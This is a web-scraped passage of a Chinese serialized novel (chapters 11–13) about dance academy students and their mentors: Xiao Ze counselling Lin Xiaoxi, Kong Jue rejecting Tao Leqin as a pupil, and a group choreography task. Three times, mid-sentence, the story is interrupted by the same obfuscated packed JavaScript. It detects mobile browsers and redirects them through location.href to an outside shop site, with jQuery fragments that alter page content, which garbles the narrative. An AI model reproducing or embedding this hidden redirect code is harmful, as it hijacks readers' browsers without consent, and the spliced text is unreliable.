晓希没有回答,显然是有些不解,萧泽脚下边加了几分力道,边开口解释,盖过了少年小心翼翼泄露出的呻()吟。“你学舞这么多年了,压腿压到拉伤,练转练到头晕,练跳跳到脱力,这样的时候,不少吧?一定会有撑不住,熬不下去,觉得太辛苦不想坚持的时候。可最终,还是一次次突破极限,一次次挑战自我。坚持,奋斗,无论是这颗挣扎的内心还是这副饱经磨砺的身躯,你都要发自内心的感谢,和赞赏。” 从来没有人说过这样的话,在内心深处感谢自己,感谢自己的坚韧不拔,赞赏自己的越挫越勇。晓希细细品味着这一番话,心中五味陈杂。 “再说自信。” 将少年的腿根不动声色地踩到底,晓希猛地弓起腰,才喊出一半就被生生押回去的声音已然听得到一丝哭腔。萧泽狠心地拉起他的双臂别在耳后,晓希微张着嘴却哑哑的发不出一丝声音。 “无论是别人眼里还是自己心里,都觉得你是个自信的人。可是在陶乐钦的问题上呢?入学榜上输给了他,自信就一下子没有了么?为什么如此抗拒见面,是不是输了那一次,心里就觉得低了他一截呢?” 少年盯盯望着镜中的自己,眼圈红着,也不知是疼的,还是心里苦的。他的学长,彦承的萧泽哥,一直都是那么个温润淡然的人,很少声嘶力竭,很少厉着声音说话~~可是每每和他谈心,柔和语调下的一字一句,总能敲打人心。 萧泽安静地等着,没有再作声,晓希是个慧心的孩子,给他足够的时间,都会想通的。只是想来,萧泽反而有些愧疚。当初收他进来的时候,叫他返璞归真,敛尽光华,是有些矫枉过正了。那时只是想他能脚踏实地安心跟着自己练舞,却不想这孩子真的一丝不苟的给做到了。 ———————————————— 文筱和朱导的家也安在城外,孔爵先送了秦卿回家才载着文筱驱车朝城郊走,车里放着悠扬的藏歌,握着方向盘的手指却烦躁的敲来敲去。红灯变绿,才起步前面又赶了个红灯,孔爵急急地刹了个车,乐声掩盖下,隐隐的有一声脏话。 “有什么话就说吧,你也不是能憋住的性格~。”文筱知道孔爵心里的不痛快,也知道他这一路都憋着有话要说呢。 话音未落,孔爵已忍不住说出口了,“一个个都说心疼晓希,没见谁真心疼了。好好的吃个饭,是给晓希庆功,叫陶乐钦来是什么意思?” “什么意思?团里的意思,学校的意思!你这么大个人了,这点事儿还不懂?” 文导的声音严肃起来,孔爵无言以对。他怎么能不懂呢。陶乐钦家世好背景好有噱头,能给团里和学校增加不少知名度。最重要的,他在国际上有评委缘,不管怎么说,如果技术是第一位,那评委看着顺眼就绝对是第二位了。 “团里重视归重视,该怎么维护讨好都没必要闹到林晓希的眼皮底子下来。” 纵使心中再怎么通透,一想到晚上那孩子的眼神,自己的心尖就揪着疼。 “那是陶乐钦要求的,他说想亲自帮晓希祝贺,想和萧泽和你一起吃顿饭。” 一声冷哼从鼻子里挤出来,文筱无奈的摇摇头,望向窗外,“毕竟是跳舞的孩子,拿你和萧泽都是当金牌偶像一样追逐着。” 。。。。车里是半晌的沉静,只余音响中藏民淳朴的嗓音轻声吟唱着。文导这句话确实是说道他心窝子里去了,还是个小人儿连个空翻都做不好的时候,背着负重拼命做腹背肌的时候,心里是不是也有那么个心心念念的人,只盼着有一天也能有那么厉害,也能在台上共舞。 只是不管怎么说,孔爵在暗叹了口气,“这孩子,太跋扈了,我一百个看不上眼,舞跳得好的多去了,还没见哪个像他这么盛气凌人的。” 文筱没再多说,孔爵的性子犟,他认定的事,谁也劝不了,一如年少闯荡舞坛的那些年,最艰难的时候,也不肯有一丝退缩,就连一点点懦弱的想法都不允许它在心里萌生。 车子拐进小区,速度慢慢降下来,文筱扭头看了看一言不发的孔爵,沉默的侧脸与当年倔强的少年如出一辙。“来学校教课的事,你就不再考虑一下。”虽是个问句,却更像是感叹这小子的倔脾气。果然,孔爵不禁轻笑,“您也知道我是一棵树上吊死的主儿,就一个王思邈可够我忙活的了。” 倒车入库,孔爵抓了外套上楼,晚上聚餐结束王思邈的爸妈就接他出去玩玩,到了这个时间,想也该回来了。客厅和练功房都不见人影,孔爵推开他卧室房门,果见小家伙只穿了个背心短裤靠着墙边倒立。伸手将他实实在在靠在墙上的脚跟拿开到若即若离的距离,“老这么靠着墙可太宠着自己了! 加罚,我洗完澡之前不许下来。” 房门重新被关上,已经撑了颇久的小孩忍不住咧咧嘴 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孔爵知道思思也是爱瞎想的性子,自己刚刚一不小心说多了,怕这孩子担心自己,就随手拍拍他屁股,结束了谈话。“去吧,洗澡去!” 接近午夜的时候下了一场小雨,湿润的风吹进窗口竟是有了丝丝凉意,孔爵坐在思思床边,见他慢慢蜷起双腿,不禁笑着拿起薄被替他盖了半截。 静谧的夜伴着淅沥沥的雨滴,床上的孩子睡得香甜,孔爵心里便越发的挂念着另一个。回到自己房间,同样是关了空调,开了窗,晚风总是比空调舒润些的。电话拨通,响了好几声才被接起来,熟悉的声音带着些诧异,“孔爵哥?” 光是听那空旷的回响,孔爵已猜出了□□,满心的关切忍不住染上了责备,“大半夜的,还在练功房里晃悠什么?” “呃……”和孔爵哥虽然熟稔,被这样低声责备的时候还是少数,林晓希不禁愣了半晌,“晚上……晚上学长给加课了……” “加课?心理课吧!” 刚刚骂过人就又揶揄起来,林晓希实在觉得二十九岁的孔爵哥比十九岁的时候还不靠谱。“挺晚的了,你怎么没睡?” “孔爵哥要是说挂记着你睡不着,你可别觉得肉麻。” 晓希听了这话扑哧一声笑出来,眼眶却是一下子就湿了。“我,我又没什么事儿,你记挂着什么。” 电话另一头是浅浅的一声叹息,孔爵暗恨着孩子总是瞎逞强,“行了,我在文导那儿看你委委屈屈的样子比看你得意的时候多去了,在我这儿,有什么想不开的就直说,再不济,听彦承说你不就是爱喝芝华士么,我请得起。” 林晓希难得笑了出来,怕是整个晚上第一次发自内心的笑声。孔爵听见这笑声,心里也踏实了些。俩人一来一往聊了半晌,知道萧泽也是跟他谈过了,担心就更少了八分。 挂断电话,晓希扶着把杆站起来,腿上的酸痛惹得他一阵无力。这么想起来,是怪对不起孔爵哥的,刚虽和他聊得起劲儿,心里却想着快快结束了回去找彦承。折腾了一晚上在练功房,这家伙在房间里指不定急成什么样子呢。 11. 第11章 “彦承,老这么忘动作可不行啊……” 音乐还在播放,彦承却又卡了壳,晓希按下音响的停止键,上前拍了拍情人的肩膀。 忙过了高考,他成了家里最闲的人,萧泽特许放了他大假,可是除了偶尔出去和同学朋友聚聚,多半时间还是留在家里。一边是编导系,一边还要呆在团里演出,开学之前多练练功,多读读书,才能有所准备。 不过高考结束,也是彦承一天天接近期末考试的日子,学业和练舞两兼顾,真真把他折腾够呛。学长偶尔会把彦承的晚课交给他,一是让他锻炼锻炼,二来彦承这段时间的进展不大,希望他跟着自己练的时候能少些压力。可是这家伙,没了学长盯着,反而更拖沓了。 “不是我说,学长都减了很多练功的时间让你好好复习,那练功的每分钟更应该高效率才对,舞都没背熟,怎么练啊。” 晓希严肃起来,彦承心里有些打鼓,当下就忙不迭的道歉,“sorry啦,那个政治题真的很难背,我脑子里面装不下那么多东西。我现在就背好不好?萧泽哥没在,你陪我多练一会儿?” 得意的时候就道理一大堆,没理了就撒娇卖萌! 林晓希实在拿这个人没办法,怎么跟当初刚刚认识的时候这么不一样。叹口气直接数着拍子帮他练,彦承见状也赶忙捋着动作重新开始。 “三二三四,五六七八,四二—— 又忘! !” 大概是太激动,陡然升起来的声调将彦承吓了一跳。“第五遍了……彦承……” “我……”,彦承沮丧的站在地当间,对这样的自己也是万般无奈,越着急脑子越不转,好不容易记住了这个,下一遍就忘了另一个。眼看着晓希已经有些不快,彦承心里一下子纠结起来。他实在是不愿意给情人看见笨拙而不专注的自己。 “给我十分钟,我一定背下来!” 少有的,在这个乐观开朗的大男孩儿身上看到这样恳切的眼神,蓦地让人有些心疼。晓希点点头,转身走出房间,将时间留给他。 确实是太辛苦了吧,学校要忙着考试,练舞这边也不能太放松。也许,从踏上这条路,他就一直是最差的,一路都在别人背后追赶,满身疲惫。可是这条路,不是一开始就知道会是如此艰难的吗?不是说了要跟自己并肩共舞的吗?如果现在心疼他,宠他,惯他,等到哪一天他离自己越来越远的时候,是会怪自己的吧。 再推开房门,彦承已经不知道第几次重复着同一个片段,晓希静静站在门边,看着舞动中的情人。专注,疲惫,汗湿额发。但是拖沓的脚步,无法精准的每个动作,还是没能逃过他的眼睛。那一刻,说不出心里是什么滋味。 趁着间歇的功夫,晓希拿了毛巾递给他,“别练了,去休息吧。” “不,是我没练好,我不能休息,就算是……就算是惩罚吧。” “这是什么话?” 晓希皱眉,“惩罚也要惩罚的有意义,跳的这么不成样子,还不如不练!” 话出口,房间里是刹时的安静。彦承诧异的望着晓希,却在他张嘴想要解释什么的一刹那低下头,脱下舞鞋,收拾东西,良久,才讪讪的挤出那么几个字,“说的也是……” 明知是话说重了,明知自己可能真的伤了他,可是…… “彦承”,将刻意避开自己眼神的他拉到身前,晓希逼迫他看着自己的眼睛,“给我一个,你学舞的理由,一个不管吃多少苦都不放弃的理由。” “我……理由?” 彦承不禁垂下眼睫,一年前的情景在眼前闪回。自己如何跟在哥哥后面死缠烂打,如何阴差阳错碰上秦卿老师,里应外合的演了那么一出,终于拜在萧泽哥门下。都只是为了,喜欢,这么一个简简单单的理由。只是因为喜欢,因为年少时陪哥哥去看萧泽哥跳舞时候的那种歆羡。无论如何,也要踏上这条充满艰难困苦的路。 “其实你不必说,我心里知道的。”两个人倚着把杆坐下,晓希轻轻扬起头,倚在墙上,“舞校里那么多的人,最初踏上这条路,不都是为了这么个简单的理由,然后每日练功,学习,排练,日子简单而枯燥,也很,辛苦。有人很快放弃,可是也有更多人,一路就这么默默地坚持下来了,没有说什么豪情壮语,功就那么一点点的磨,日子就那么一天天的课,到最后,都过来了。别人眼中的苦,也从不觉的是苦了,要是非得说点苦出来,反而是矫情了。” 别人眼中的苦,也从不觉得是苦了。。。是啊,与其把一切当成绊脚石,总是想着怎么去克服,倒不如当成一种享受和成长。彦承默默念着这话,渐渐也明白晓希的良苦用心。的确,哥哥之前说的没错,跳舞这条路是自己选的,可是偷懒,拖沓,自己心疼自己也不是一次两次了。一想到这儿,脸上已不禁有些发热,“晓希,我……” 晓希起身站起,回手拉了他起来,“不用说了,我知道你想通了,走吧,回房休息。再有下次,不用汇报学长和彦霖哥,我自己就将你整治了!” “哈?” 彦承闻言不禁背上一紧,抬头却见晓希一脸莞尔,方才反应过来是被他取笑,不禁一拳招呼上去,玩闹起来。 “如果是喜欢的话,是无论如何也不能扼杀孩子的兴趣的,但是……应该不必要神崎老师亲自教导。您知道……神崎老师收徒的要求……” 神崎俊一的助手小心的措着辞,小田切弘摆摆手,示意他不必再说下去了。虽然可以假装不知道,但躲在门后偷听的小鬼的心情,当父亲的一定要照顾一些的。 之前的两位老师,都让小儿子以无法胜任教授自己一职的理由退掉了。于是他开始寻访日本的舞蹈大家,可惜,神崎已经是问过的第三位名师了,都是以这样资质不够的原因拒绝掉。碍于小田切家的名声,的确是不应该继续下去的,更何况依自己的小儿子的个性,再问几次,脆弱的自尊心不知道要受到什么样的伤害。 面对如战场的商场都能应对自如的小田切弘,在小儿子的问题上还是不禁深叹一口气,抬头问身旁的管家,“小乐练习跳舞的地方装修的怎么样了?” “把杆和落地镜都已经安装好,打扫干净之后就可以铺上地毯了。” “嗯,要挑最专业舒适的地毯,务必让小乐满意。” 儿时的情景一点点远去,眼前首都舞蹈学院的校门愈发清晰起来。不知怎么的,就跑到这里来了。陶乐钦抄起脖颈上的毛巾擦了擦汗,晚间跑步,已经成了这几年的习惯。从何时开始的呢?自从那一晚遇见那个人开始吧…… 不知为什么,突然就有了想马上跳舞的冲动,望了望校门口的门卫所,陶乐钦不禁硬着头皮走过去,果然,被尽职的保安拦了下来。“请出示学生证。” “我……是下届的新生,还没有学生证,我想借学校的练功房练习。” 门卫并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239509|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有想要通融之意,“现在是暑假期间,不可以随便进入校园的,等开学你有了学生证就好了。再说,都快十点了还练什么功。” “这————林晓希?”路灯昏暗看不清楚,等人走近了才认清果然是林晓希。 林晓希也没想到会在这里碰到陶乐钦,实在很想掉头走调,只是碍于情面,不得不打招呼。“你……这么巧?怎么会来学校?” 不知自己被拦下的窘境被听见几分,陶乐钦有些尴尬,“我跑步路过,想借用一下练功饭而已。不便就算了。有机会再见。”随便抛下一句话便转身离开,身后听到门卫亲热地和林晓希攀谈,心中不知怎地泛起一丝别样的情绪,明明同样都是未入校的学生的…… 因为决定了要住学校的宿舍,假期只是在附近临时租了房子,没有练功房可用,陶乐钦百无聊赖的躺在床上,耳机里是最近淘到的新曲子,只要一闭上眼灵感就连绵不绝的涌出来,如果多加雕琢几次,一定又是个好作品。 想到这里,陶乐钦不禁下床顺着乐曲轻轻舞动,从什么时候起呢,渐渐就有了这样的自信,自信自己是个可以跳舞,会跳舞,并能将舞跳好的人。是因为年少时的那一日,被神崎老师拒绝,索性赌气跑到公园里,在无人的树下跳舞。只是自由的舞蹈,没人用审慎的眼光看他的基本功,说他资质不足。 然后那个人就出现了,明明是在东京的市郊公园,他却第一句跟自己讲中文,“你跳的是中国舞?”“你是?” 日本最流行是学芭蕾,识得中国舞的人不多,只是自小的家庭环境还是让他多了几分防备,不禁打量起眼前的人。 身材修长,又稍有那么一点点魁梧,一张脸看起来仿佛很严肃,微微翘起嘴角的时候,却又十分无害。他一点点朝自己走过来,开口问道,“学舞多久了。” 这一句话却是触到了陶乐钦最不想提的话题上,只是到底是陌生人,该有的礼貌缺不了,陶乐钦假装无意的看向别处,淡淡的回道,“没跟谁学,自学的。” “那以后我教你吧。”那人静静的说,却让人莫名的,能听出一点点热忱。可是陶乐钦的眼神里还是露出点犹疑,那人微微一笑,“怕我教不好你?” 并不是。仿佛是直觉,只是轻轻打量着眼前的这个人,就愿意相信他是个能把舞跳好的人,然后他说愿意教自己,已经被三位名师拒之门外的陶乐钦,竟然有了种受宠若惊的感觉。 “愿意的话,以后常来这家公园,我可以教你。只是……节奏感差了一点,要慢慢追上来。”那人轻轻拍了拍陶乐钦的肩膀,陶乐钦却突然激动起来,“节奏感,节奏感!永远是节奏感!节奏感不好就不能跳舞了吗!” “能跳,跳不好罢了!” 从此这个人闯进了自己的生命,用他的固执,他的严厉,他的不通情理,将陶乐钦一路带上了舞蹈这条路,自信而坚定。最终,他又毫不迟疑的离开,用短短六个月的时间,在陶乐钦的生命中刻下了无法磨蚀的痕迹,直至今时今日都深刻而清晰。 回忆渐渐远去,陶乐钦倏地停下舞蹈,另外一个身影突然从脑海中冲出,与记忆中的那个人慢慢重合,他的身材,他的脾性,他从内而外散发的气质,都与从前那个人如此的神似。 这个身影,仿佛慢慢降落在眼前,陶乐钦忍不住揪起眉头,看清了,是孔爵。 12. 第12章 第二天上午,陶乐钦接到了文导的电话,她在学校大门口等自己,并把一张崭新的学生证交给他,“提前发张学生证给你,以后想来学校练功的话,随时可以。” 陶乐钦跟着文导一路穿过校园走进教学楼,手里还在摩挲着这张学生证,不知道真的是巧合,还是什么人告诉了文导昨晚的事情。呵!还能是什么人呢,林晓希吧。真说不出来这人是真的好人,还是真的傻子。陶乐钦轻笑一声把学生证收在钱夹里,再抬起头,已经到了排练厅门口,墙上贴了个大大的9字。 “一楼有三间大排练厅,二楼三楼的小练功房24小时对学生开放。这件九号是我预留的,平时除了萧泽他们,没人会用。你愿意的话,也可以随时来。” 陶乐钦点点头,算是了解。文筱又带着他在学校走了一圈,言简意赅的该介绍的都介绍遍了,“还有什么问题么?” “我想知道,孔爵是任哪一门课的?” 直勾勾的就是这么一句,把文筱问的一愣。 “孔爵不在学校任职,你不是问过我吗?” “噢……” 陶乐钦不自觉的低下头,从这个桀骜不驯的孩子身上第一次看到一时的无措, “我以为……他会改变主意。” 文筱点点头,几乎是慈爱的笑了。这个孩子对孔爵的不寻常,从他主动要求吃饭的时候就看出来了。先是晓希,再有彦承、王思邈,再到现在的陶乐钦,还有千千万万的孩子,都把萧泽孔爵这些人当成标尺,当成一辈子努力的对象呢。所以他不想告诉眼前的人,能让孔爵改变主意的人,这世上实在是不多。 就算不看文导现在的脸色,陶乐钦也知道孔爵不是会轻易为别人改变的人。说不上因为什么知道,只是直觉,如果他和那个人那么像的话,他的直觉就没错。 陶乐钦一瞬间的失神都落在文筱眼里,可惜她却并不是个感情十分敏感的人,所以即便知道孔爵并不待见这孩子,却还是为他出了一招, “孔爵有时候会来学校的练功房,你要是碰到他,可以自己问问他。” 希望多一点的接触,能让孔爵改观。 陶乐钦和林晓希是很不同的两种人,但是作为一名舞者,他们的共同点是,跳舞是生活的中心。所以这已经是陶乐钦连续第七天来学校的练功房了,是因为对舞蹈的炽热,也因为,不可否认的,是对那个人的期待。 可惜一连七天,除了萧泽来过几次,他连孔爵的人影都没摸着。所以当他一点点雕琢自己最新的一首作品时,孔爵而非萧泽的声音让他好像机器断电般的突然停止。 你怎么会在这里?孔爵站在门口,这句话想问,却到底没问出口,还能怎么,没有文导的默许,谁能进来。 气氛尴尬了片刻,还是陶乐钦先打了招呼,孔爵点点头,把手里的背包扔给王思邈叫他去换衣服。 孔爵到一旁的音响边上摆弄音乐,陶乐钦尴尬地立在房间中间,不知道该不该继续跳下去。明明余光也打量到他没有再看自己,却说不出为什么自己紧张得连背上的肌肉都绷紧了。因为……因为一早在饭桌上就看出来他对自己全无好感吧,也看出来他很护着林晓希,相应的,自然也不待见自己。可是……可是他和老师真的很像。。 “孔爵……学……长。”陶乐钦走到孔爵跟前,神色尽可能的自然。 然而这种自然,在孔爵眼里,就还是带了点无礼的味道,所以只轻轻嗯了一声,继续挑着CD,等陶乐钦继续说下去。 “我想做你的学生!” 清晰入耳。刚从更衣间里出来的王思邈也听得清清楚楚。孔爵转头看向神色有异的王思邈,“热身去。” 王思邈没说话,一路小跑到房间的另一头。 陶乐钦的眼神却自始自终的落在孔爵身上,他不知道自己的外强中干是否被看透,他只知道的是,自己紧紧攥着的手心已经出了汗。孔爵终于放下手里的东西,认真的看着陶乐钦。他看出他眼睛里的认真,可他不明白这孩子怎么会想要做他的学生,即便是那天车上文导有意无意的提到他对自己的崇拜,他也没有想到,他就这么站在自己面前,问了这么个问题。 连眼神都是那么相似的……静静地对视,陶乐钦看得出那眼神背后的疑问,犹豫和难以捉摸,他自己,又是多么地努力不去移开目光,去接受那犀利的审视呢。 房间里静的没有一丝声音,陶乐钦却仿佛听得到空气中紧绷的张力,把空气分子都一个个挣开的张力,震耳欲聋…… “不行。” 简单的两个字,如定音的一锤,让他满耳的嘈杂瞬间归于平静。 “为什么不行?” 孔爵的注意力重新回到CD架上,“我教不了你。” “为什么教不了!”陶乐钦强抑制住想把他手里CD抢下来的冲动。不过没等他这么做,孔爵又重新看着他,神色认真的可怕,“你的确很有创作天赋,所以我教不了你。林晓希是练功机器,我就是造机器的人,我的教学方法,无法去适应你。” 孔爵突然意识到自己的话语里竟然带了些因为为了林晓希赌气的味道,只是他向来是直来直往的人,也无谓掩饰。 “我可以去适应你。” 几乎是脱口而出,以至于让好面子的陶乐钦瞬间矫枉过正的换上衣服更加不羁的面孔。然后,稍稍激怒了孔爵,“适应我?要是真说要做我的学生,你的条件还不够门槛。 ” 少年脸上一瞬间不服气的神色尽入眼中,无谓争辩,孔爵打开音响,招手让王思邈过来。 “技术技巧展示。” 言简意赅。 早习惯了少问多做,王思邈点点头,没有问为什么。只是做之前还是忍不住偷偷看了一眼陶乐钦,然后和他的眼神撞了个正着,吓得连忙转过身,听着音乐,起舞。 这是赤裸裸的拒绝,和羞辱。陶乐钦静静地看着王思邈在眼前做着眼花撩换的技巧动作,紧握的拳一点点松开,心一点点冷掉。许多动作,他做不出来,做得出来,也做不了那么漂亮。这就是他给自己的下马威吗?陶乐钦偷偷看向孔爵,他目不转睛地望着自己的学生,眼神里充满了满意……和自豪。 各式的翻腾、跳跃,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239510|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前闪过,却不留痕迹。他只需知道他的决定,而不是他学生的水平。。。孔爵终于看向他,眼神里的意思再明白不过。可是,明明心里难受了,陶乐钦却竟然微笑着点点头,“我懂了,那等我能做到了,我再来问你。” 飞奔出门口的背影,只比晓希和王思邈健壮那么一点点。再桀骜不驯也还是个孩子。孔爵呆呆忘了门口一阵,不知道自己是不是做的过分了。。。但至少,自己的创作能力并不强,带着偏见,也真的无法教好他。是个有前途的孩子,跟着文导,可能会更有出息。 七月伊始,首都舞蹈学院的新生夏季集训开始了。说是自愿参加,可是舞院里人才济济,都是各地上来的尖子,谁愿意因为一个集训被落在后面呢?所以才到七月,校园里就热闹的好似开学。 晓希入住到四人宿舍,彦承自然一百个不愿意,但碍于学校课程紧张,只能磨着晓希答应他有空的时候可以去宿舍“蹭睡”。 陶乐钦被安排在隔壁寝,入学的第一天两人就在宿舍门口撞见。陶乐钦倒不见了过分的敌意,只仿若无事的打了招呼,可两人心里都清清楚楚的记住“话不投机半句多”这七个字。 集训第一天,第一堂课的大练功房里熙熙攘攘。大半的学生都是附中直接升上来的,和林晓希热情的打招呼。陶乐钦却只自顾自地热身,脸上显然挂着一幅生人勿进的表情。可更多人呢,忍不住要指指点点,三三两两的八卦起来,这个人叫陶乐钦,那个人是林晓希,谁说了谁什么,谁觉得谁怎么样了。再想装听不见,那声音也避免不了要钻进耳朵。更有人上前安慰林晓希,叫他不要担心老师会偏心,自己挺他到底。林晓希一一谢过,心里却哭笑不得,忍不住偷瞄陶乐钦,他依旧若无其事的热身,仿佛真的什么都听不见。 上课铃响,终于拯救了快被口水淹死的两个人。编导系的第一堂课,果然就是舞蹈创作。老师是第三年的新老师,林晓希见过几次。基本的创作知识逐一讲过就是第一个随堂小练。十分钟准备时间,过后抽调人展示。 入学的第一个小展示,每个人都努力的思考,务必想给老师留个好印象,林晓希和陶乐钦也是如此,猜也知道,他们一定会被点到。 到了展示的时候,老师也果然不出意外的点了他们两个。林晓希不卑不亢,陶乐钦自信满满。明眼人都看出的不相伯仲,老师却只大大地赞赏了陶乐钦。林晓希默默听着,神色如常。他知道现在全班有多少人在偷偷打量自己的神色,他知道心里不管怎么难受,也万不能表现出来,更要大度的鼓掌。 学校对陶乐钦的重视,他从一开始就知道,虽然不想评断老师的对错,但第一堂课就有这么明显的差别,让他着实吃了一惊,也顿觉悲哀。“ 从小到大前所未有的挫败”这样的话,他已经懒得说,懒得想了。不管即将到来的是什么?无论在舞校的这四年要经历的是什么,他只要时刻深深记得学长和他说过的话,无论是挫败,还是不公平的对待,都要当成善意的磨练,一点点丰富自己。 13. 第13章 作业是分组编舞。 房间渐渐开始了窃窃私语,大家都幸灾乐祸的想看“两小天王”的巅峰对决,可是谁也没想到,随机学号分组,偏偏就这么巧,这两个人竟给分到了同一组。一时间,大家不觉遗憾少了一场好戏可看,可转念一想,两个人的合作不知道是有什么样的火花能碰撞出来,当下便隐隐地又有了些期待。 林晓希抬头望向房间另一角,那人,果真是傲气地望着别处。看来这次,又是要自己先说话呢。 对陶乐钦,说不上是什么态度,最早听见他对自己批判的评论,到后来傲慢的挑衅,无法说是讨厌,更多的是沉浸在对自己的不肯定中。也不能说是畏惧,可只因为他的跋扈,每次想到这个名字,就忍不住想起那些铺天盖地的评论,想起挫败的自己,想起学长并没有明确否认的,自己的缺点。 分在同组的竟然还有小晴,下了课,两个人一起去找陶乐钦。意料中的,是一脸不耐烦的样子,“想跳什么情景都可以,告诉我一声我是什么角色,你们编你们的,我编我自己的。” 这是什么话。。 早知道他定是会闹个独立,却没想这么夸张。林晓希忍不住沉下脸,“分组练习就是要组内合作,想证明自己的话,可以在个人作业中展现。或者,可以和老师说你要求自己一组,我们没有意见的。” 陶乐钦挑眉,这个看上去一向唯唯诺诺的林晓希,好像突然硬气起来了。舞台上的他,的确能散发出很不一样的光彩。可是在比赛DVD花絮中看到的台下的和萧泽在一起的他,来到首都后碰见了无数次的他,似乎都是那么个没主见又软弱的样子,即便是自己说了那样的话。 陶乐钦甚至能感觉的出,很多时候,他看着自己的眼神里有一种闪避。 不管怎么说,晚饭后三个人一起到练功房自习,也很快就敲定了曲目为歌剧魅影的最后一个片段,the phantom胁持了Raoul以逼迫christine嫁给自己。选定了曲目,三个人也有些犯难。歌剧魅影,从歌剧到电影,不知道已经有过多少次经典的演出,如何能忠实原著又不落于前人的条条框框中,实在是不容易完成的任务。 当然,陶乐钦选择了the phantom,林晓希则选择虽然戏份不重却并不容易表现的Raoul。三个人的共同练习,并不如想象中艰难。陶乐钦如传说中一样创作能力上佳,晓希也完全没有落于下风,两个人你来我往,不过两个小时,已将作品的轮廓勾勒的出来。 再走出练功房,已经是晚上十点,三人一起往宿舍走,晓希体贴的帮小晴提着装了脏练功服的手袋,两人聊得热络,时而讲几句文导的坏话。陶乐钦自是独自一人,稍稍走在他们前面,身后的说说笑笑就那么飘进他的耳朵里。 今天,算是真正见识到了林晓希的创作实力,比自己想象中好很多。。想到这里,又仿佛有些吝啬夸奖,不得不找些借口-----总也不会太差吧,到底是舞蹈世家,又得到文导和萧泽的调(教)。更何况!还有……那个人……明显是很护着他呢。 不知何时远远走在了前面,身后已经不见了两人。不想回宿舍,陶乐钦漫无目的地在校园里逛着,然后不知怎么,在路灯下如此漫漫走着,就又转回了教学楼。虽然已经夜深,沿着走廊一间间练功房走过去,三三两两的总有几个人。舞院本来就不乏努力的人,又是刚开学,恐怕都被老师给了个下马威,才夜晚还窝在练功房尽快找回状态。 一直走到楼梯拐角,才找见一间没人的练功房。陶乐钦推开门,房间不大,许也就是因为不大才没人来倒让自己偷得意思空闲了。陶乐钦走了进去,随手带上门,想了想,就又锁上。掏出包里的练功服,已经汗湿了,就只能将就着身上的T恤了。 面对镜中的自己,久违了的不自信的感觉悄无声息地蔓延了上来。林晓希的扎实的基本功和技术技巧,一开始就知道,今天编舞时也被不经意的显露出来了。还有,自从那天后,脑海总不停转着那个叫王思邈的男孩在就好练功房里旋转跳跃的身影。明明看得出并不是多有天赋的人,却被孔爵用来实实在在地羞辱了自己一次。 就算不愿意承认,那的确是自己的弱点。从前不屑一顾的,不觉的是弱点的地方,现在因为那个人,也变得让人不安起来。如果是……要达到了那样的地步才有资格去做他的学生,那么就从今天开始努力吧。 换上了舞鞋,活动着关节。从小到大都不喜欢的基本功练习,总是枯燥无味。简单地活动了一下,直到身上微微热起来,陶乐钦才在房间中站定,面对镜子,提起膝盖,向外打开,然后蹬直腿,膝盖和脚背绷直,一气呵成。 只是,不过是才控住那么一会儿,悬在半空中的腿却不自觉的抖起来。于是要努力地和肌肉的酸痛作斗争,遏制住想要把腿放下的强烈欲望,坚持支撑。然而,时间每过去一秒钟,坚持都变得越发困难起来。直到不知道到底有多久,在右腿快要抽筋的一刹那,终于忍不住放了下来。肌肉还有些想要痉挛的迹象,陶乐钦用力甩了甩腿,透过前额汗湿的头发看见了镜中颓败的自己----要达到那样的程度,果真是不容易的。 如此练过一阵,浑身上下又湿透了一遍,只是进展并不顺利。不能耽误明天的早课,虽然有些不甘心,还是要赶快回去休息。陶乐钦一屁股坐在地上,重新穿好球鞋。什么时候,才有资格站到孔爵的面前,问他能不能做他的学生呢?其实曾经问过自己,是否一定要这样做。要违背内心做自己不喜欢做的东西,要克服困难做自己不擅长的东西,是那么不容易。 可是…… 从第一次见面到现在,每一次接触,都从他身上寻到更多的老师的痕迹,一言一蹙,一停一驻,又比老师多了些鲜活的气质。所以因着这些独特的吸引,和对老师的想念,就有了,一定要成为他的学生的想法。 只不过,还是短期内无法轻易实现的事情吧。不愿再纠缠无谓的担忧,陶乐钦抓起背包恨不得把快要软成一滩泥的身体第一时间扔到床上。 “已经挺晚的了,今晚你就在这儿住下吧。” 萧泽把切好的水果递到孔爵跟前,转身在情人边上的沙发坐了。一见老婆坐在了身边,钟彦霖也毫不迟疑,一只手立刻揽上了他的腰。孔爵看在眼里,酸酸地咬了口苹果,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239511|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住,我得回家看孩子。” 彦霖倒是丝毫没有收敛的意思,立马揭穿了他,“看孩子……你不是放思思的暑假,叫他回老家住三天么。就在这儿住了吧,承儿想你呢。” 